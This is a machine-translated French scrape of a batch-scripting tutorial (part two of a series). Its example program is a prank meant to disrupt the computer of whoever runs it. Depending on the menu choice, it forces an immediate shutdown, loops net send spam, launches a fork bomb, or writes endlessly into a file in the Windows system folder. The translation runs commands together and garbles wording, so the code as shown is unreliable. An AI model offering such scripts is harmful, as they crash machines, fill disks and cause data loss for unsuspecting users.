Table des matières:

Tutoriel batch - Prendre 2 : 4 étapes
Tutoriel batch - Prendre 2 : 4 étapes

Vidéo: Tutoriel batch - Prendre 2 : 4 étapes

Vidéo: Tutoriel batch - Prendre 2 : 4 étapes
Vidéo: APPRENDRE LE BATCH 2024, Novembre
Anonim
Tutoriel par lots - Prendre 2
Tutoriel par lots - Prendre 2

D'accord, comme je l'ai dit dans mon précédent tutoriel sur le lot (https://www.instructables.com/id/EZ049TMM19EWPKGWKH/#CEINEJV64U3EWP86YUP), je prévois de créer un vaste tutoriel en 3 parties (ou prendre) sur le lot. Ce qui devrait couvrir la plupart de ce que vous devez savoir pour faire ce que vous voulez avec batch. Le fichier joint ci-dessous est le fichier.bat (batch) compilé créé par moi, laconix / inévitable_chaos

Étape 1: Formater mon texte, mes titres et mes Cls

D'accord pour commencer, je vais vous montrer le code;

@echo offtitle Choix.. [par laconix]clsecho Vous avez quelques choix à faire..echo..faites le mauvais choix et en subir les conséquences!echo.pause:menuclsecho.echo.echo.echo.echo. echo /------------------\echo / Choisissez un nombre entre 1 et 3 \echo (- 1.. 2.. 3 -)echo / Tous les choix sauf un sont mauvais ! /écho \------------------------------/ title définit essentiellement le titre de l'invite de commande, donc le titre instructables.com est cool ! cls efface simplement le cmd de toute entrée ou sortie Vous devriez savoir ce que fait echo maintenant, mais echo. crée une nouvelle ligne qui est utile pour le formatage.:menu bien que j'aie couvert cela dans mon tutoriel précédent, cela vaut la peine d'y revenir, essentiellement, cela crée un point dans un programme dans lequel vous pouvez aller à tout moment. Le reste de cette section n'est que du formatage.:RÉ

Étape 2: Initialisation des variables, obtention de la saisie de l'utilisateur et de l'instruction If

Encore une fois, je vais vous montrer le code puis l'expliquer;

set choice = nadaecho ?.:What&aposll it be:.?set /p choice= Hein ? clsif %choice% == 1 GOTO oneif %choice% == 2 GOTO twoif %choice% == 3 GOTO threemsg * Ni 1, 2 ou 3 hein? Dommage, bye bye..shutdown -s -f -t 00 set choice = nada, ce que cela fait est de créer ou d'initialiser la variable avec la valeur initiale ou "nada", ou rien.:D Une variable est comme un conteneur qui stocke des informations pour vous jusqu'à ce qu'elles ne soient plus nécessaires ou que le programme se ferme. set /p choose=, cela obtient l'entrée de l'utilisateur, en utilisant la commande set avec l'argument /p qui indique à la commande d'avoir une chaîne d'invite. Donc, en gros, définissez /p choice=quel nombre ? c'est comme poser une question et qu'ils tapent la réponse. si l'instruction if fonctionne comme telle. if condition == true dothisDonc, en gros, cela dit si %choice% est égal à 1 GOTO, c'est que ce n'est pas vrai, il passe simplement à la ligne suivante. shutdown -s -f -t 00 arrête simplement leur ordinateur, forçant tous les programmes à se fermer instantanément.

Étape 3: commande de tuyauterie, commandes asynchrones et variables environnementales

Encore une fois, codez d'abord, explication après;

:onemsg * Donc vous avez choisi #1, pensiez-vous être en sécurité ?msg * FAUX !:netspamnet send * règles laconix ! GOTO netspam:twoshutdown -s -t 10pausemsg * J'espère que vous l'aurez à temps, car c'était le plus sûr…shutdown -aGOTO hell:threemsg * C'est le numéro sûr…pause:forkstart choice.bat | msg * effacement de la mémoire ! GOTO fork: hellmsg * blague, ils sont tous mauvais !: règles textbombecho laconix ! >> %systemroot%/laconix.txtGOTO:textbomb:oneBasically va juste dans une boucle GOTO infinie. Très similaire à l'exemple 2 de la bombe à fourche dans le premier tutoriel. les fait GOTO hell:hell leur dit qu'aucun d'entre eux n'était bon, fait ce que j'appelle une bombe textuelle. Quels tuyaux (>>) la commande fait écho aux règles de laconix !' au %systemroot%/laconix.txt dans une\n boucle GOTO infinie. %systemroot% est une variable d'environnement qui indique au fichier d'enregistrer dans le répertoire /windows/ quel que soit le nom du lecteur racine, c'est-à-dire C;/, E:/, Z:/, et cetera:three Les incite à penser que c'est le nombre sûr. Va dans une bombe à fourche similaire à celle du premier didacticiel, mais avec une différence principale. Commandes asynchrones; démarrez choice.bat | msg * Effacement de la mémoire ! le | désigne des commandes asynchrones, ce qui signifie qu'elles s'exécutent en même temps.

Étape 4: Quoi de neuf ? Mot

Merci d'avoir lu mon tutoriel, j'espère que la vidéo vous plaira. J'ai appris quelque chose.

Et j'espère que vous continuerez à vous intéresser aux ordinateurs et à mes instructables. A bientôt pour mon dernier tutoriel de cette série !

Conseillé: